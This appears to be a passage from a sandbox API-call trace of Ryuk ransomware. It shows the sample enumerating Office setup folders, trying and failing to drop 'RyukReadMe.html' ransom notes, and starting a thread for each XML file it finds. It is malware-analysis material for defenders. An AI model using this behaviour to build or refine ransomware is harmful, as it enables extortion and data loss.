	[0165.752] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0165.752] FindClose (in: hFindFile=0x7c6f0 | out: hFindFile=0x7c6f0) returned 1
	[0165.752] SetLastError (dwErrCode=0x0) 
	[0165.752] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\project.en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.753] GetLastError () returned 0x5
	[0165.753] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0165.753] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.753] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1
	[0165.753] SetLastError (dwErrCode=0x0) 
	[0165.753] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.754] GetLastError () returned 0x5
	[0165.754] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0165.754] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.754] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0165.756] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0165.756] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0xbe, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1
	[0165.756] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0165.757] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x394
	[0165.759] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0165.760] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0xbe, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0
	[0165.760] FindClose (in: hFindFile=0x7c6f0 | out: hFindFile=0x7c6f0) returned 1
	[0165.760] SetLastError (dwErrCode=0x0) 
	[0165.761] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.en\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.761] GetLastError () returned 0x5
	[0165.761] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0165.761] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.761] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1
	[0165.761] SetLastError (dwErrCode=0x0) 
	[0165.761] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.762] GetLastError () returned 0x5
	[0165.762] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0165.762] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.762] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0165.764] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0165.764] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0xbe, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1
	[0165.764] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0165.765] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x390
	[0165.768] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0165.768] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0xbe, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0
	[0165.769] FindClose (in: hFindFile=0x7c6f0 | out: hFindFile=0x7c6f0) returned 1
	[0165.769] SetLastError (dwErrCode=0x0) 
	[0165.769] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.es\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.769] GetLastError () returned 0x5
	[0165.769] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0165.769] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.770] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1
	[0165.770] SetLastError (dwErrCode=0x0) 
	[0165.770] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.770] GetLastError () returned 0x5
	[0165.770] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0165.770] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.770] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0165.772] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0165.772] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0xbe, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1
	[0165.772] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0165.773] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x374
	[0165.855] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0165.856] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0xbe, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0
	[0165.856] FindClose (in: hFindFile=0x7c6f0 | out: hFindFile=0x7c6f0) returned 1
	[0165.857] SetLastError (dwErrCode=0x0) 
	[0165.857] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proof.fr\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.857] GetLastError () returned 0x5
	[0165.857] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0165.857] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.857] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="Proofing.en-us", cAlternateFileName="PROOFI~1.EN-")) returned 1
	[0165.858] SetLastError (dwErrCode=0x0) 
	[0165.858] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.858] GetLastError () returned 0x5
	[0165.858] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0165.858] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.858] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0165.859] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0165.859] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0xbe, dwReserved1=0x0, cFileName="Proofing.XML", cAlternateFileName="")) returned 1
	[0165.859] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0165.860] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x370
	[0165.861] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0165.862] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0165.862] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0165.863] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d4
	[0165.864] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0165.864] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0
	[0165.865] FindClose (in: hFindFile=0x7c6f0 | out: hFindFile=0x7c6f0) returned 1
	[0165.865] SetLastError (dwErrCode=0x0) 
	[0165.865] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\proofing.en-us\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.865] GetLastError () returned 0x5
	[0165.865] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0165.865] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.866] FindNextFileW (in: hFindFile=0x7c690, lpFindFileData=0x218c3e0 | out: lpFindFileData=0x218c3e0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PROPLUSR", cAlternateFileName="")) returned 1
	[0165.866] SetLastError (dwErrCode=0x0) 
	[0165.866] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0165.866] GetLastError () returned 0x5
	[0165.866] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x218c328, lpOverlapped=0x0) returned 0
	[0165.866] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0165.866] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*.*", lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7c6f0
	[0165.868] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xbe, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0165.868] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170fe40, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0xbe, dwReserved1=0x0, cFileName="ProPlusrWW.XML", cAlternateFileName="PROPLU~1.XML")) returned 1
	[0165.868] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
	[0165.869] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d8
	[0165.870] VirtualFree (lpAddress=0x8640000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0165.871] FindNextFileW (in: hFindFile=0x7c6f0, lpFindFileData=0x218bcb0 | out: lpFindFileData=0x218bcb0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18177c50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x7976, dwReserved0=0xbe, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1
	[0165.871] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8640000
